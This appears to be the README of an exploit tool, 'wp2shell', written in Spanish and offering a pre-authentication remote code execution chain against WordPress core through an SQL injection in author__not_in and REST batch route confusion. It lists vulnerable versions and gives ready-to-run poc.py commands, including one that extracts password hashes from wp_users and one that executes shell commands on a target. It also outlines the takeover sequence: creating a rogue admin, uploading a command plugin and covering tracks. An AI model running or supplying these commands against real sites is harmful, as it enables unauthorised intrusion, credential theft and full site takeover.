
wp2shell — RCE pre-autenticación en WordPress Core (CVE-2026-60137 + CVE-2026-63030). Encadena una inyección SQL en author__not_in con confusión de rutas batch para ejecución remota de código no autenticada en WP 6.9.0–6.9.4 / 7.0.0–7.0.1.
Ejecución remota de código pre-autenticación contra el núcleo de WordPress.
Encadena CVE-2026-60137 (SQLi en el parámetro author__not_in / author_exclude de WP_Query) con CVE-2026-63030 (confusión de rutas batch en la API REST) para RCE no autenticado.
| Rango | Estado |
|---|---|
| <= 6.8.5 | No afectado (sin confusión batch) |
| 6.8.0 - 6.8.5 | Solo SQLi, sin RCE |
| 6.9.0 - 6.9.4 | Vulnerable |
| 7.0.0 - 7.0.1 | Vulnerable |
| 7.0.2+ / 6.9.5+ | Parcheado |
python3 poc.py -u TARGET_URL
python3 poc.py -u TARGET_URL --sql "SELECT user_pass FROM wp_users LIMIT 1"
python3 poc.py -u TARGET_URL -c "id"
| Argumentos | Comportamiento |
|---|---|
-u TARGET_URL | Comprueba si es vulnerable (sonda de tiempos) |
-u TARGET_URL --sql "SQL" | Extrae un escalar mediante SQLi ciega |
-u TARGET_URL -c "CMD" | Cadena RCE completa |
/batch/v1) para desincronizar el manejo de solicitudes y eludir la autenticaciónauthor_exclude mediante un oráculo de temporización SLEEP()Vulnerability check → Seed oEmbed posts → Extract table name (blind SQLi)
→ Extract admin ID (blind SQLi) → Extract cache post IDs (blind SQLi)
→ Inject poisoned changeset via batch → Create admin user
→ Login → Upload command plugin → Execute command → Cleanup
author__not_in: descubierto por TF1T, dtro, haongo